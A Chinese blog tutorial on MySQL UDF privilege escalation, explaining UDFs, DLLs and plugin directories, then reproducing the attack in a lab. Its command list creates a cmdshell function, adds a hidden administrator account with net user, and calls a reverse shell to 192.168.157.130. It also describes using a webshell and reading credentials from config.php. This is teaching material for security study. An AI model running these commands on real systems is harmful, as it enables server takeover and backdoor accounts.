【数据库提权】MySQL提权之UDF提权


一、什么是UDF?

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。

二、什么是动态链接库?

DLL 是 Dynamic Link Library 的缩写,译为“动态链接库”。DLL也是一个被编译过的二进制程序,可以被其他程序调用,但与 exe 不同,DLL不能独立运行,必须由其他程序调用载入内存。

DLL 中封装了很多函数,只要知道函数的入口地址,就可以被其他程序调用。

Windows API中所有的函数都包含在DLL中,其中有3个最重要的DLL:

  • Kemel32.dll:它包含那些用于管理内存、进程和线程的函数,例如CreateThread函数;
  • User32.dll:它包含那些用于执行用户界面任务(如窗口的创建和消息的传送)的函数,例如 CreateWindow 函数;
  • GDI32.dll:它包含那些用于画图和显示文本的函数。

说白了就是.dll中封装好了很多函数供外部程序调用。

三、UDF提权原理

正是由于MySQL支持UDF,支持我们自定义函数来扩展功能。当我们创建带有调用cmd函数的'udf.dll'(动态链接库)。当我们把'udf.dll'导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。

udf.dll导出指定文件夹:

  • 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
  • 当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。

plugin目录创建方式:

  • 通过菜刀连接创建
  • 通过mysql语句创建

提权条件:

  • 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。
  • 可以将udf.dll写入到相应目录的权限。
四、UDF提权复现

实验环境:

  • 靶机Windows2003-x86 + phpstudy php-5.4.54+Apache+mysql-5.5.53
  • 攻击机win7

udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。

使用菜刀上传提权马:

在这里插入图片描述
在这里插入图片描述
导出UDF到plugin目录:

在这里插入图片描述
在这里插入图片描述
创建cmdshell:

在这里插入图片描述
查看提权马源码,创建cmdshell实际上就是通过引入的dll动态链接库创建cmdshell函数

在这里插入图片描述
相关命令:

create function cmdshell returns string soname 'moonudf.dll'    // 创建cmdshell
select cmdshell('net user $darkmoon 123456 /add & net localgroup administrators $darkmoon /add')   // 添加超级管理员
select cmdshell('net user')  // 查看用户
select cmdshell('netstat -an')  // 查看端口
select name from mysql.func   // 查看创建函数
delete from mysql.func where name='cmdshell'  // 删除cmdshell
create function backshell returns string soname 'moonudf.dll'  // 创建反弹函数
select backshell('192.168.157.130',12345)    // 执行反弹
delete from mysql.func where name='backshell'  // 删除backshell

执行命令:

在这里插入图片描述
在这里插入图片描述
提升后的权限为运行MySQL的用户权限。

参考文章:

http://c.biancheng.net/cpp/html/2750.html
https://xz.aliyun.com/t/2719
https://paper.404sec.com/7815.html
https://blog.csdn.net/qq_36119192/article/details/84863268

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

多学点技术

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值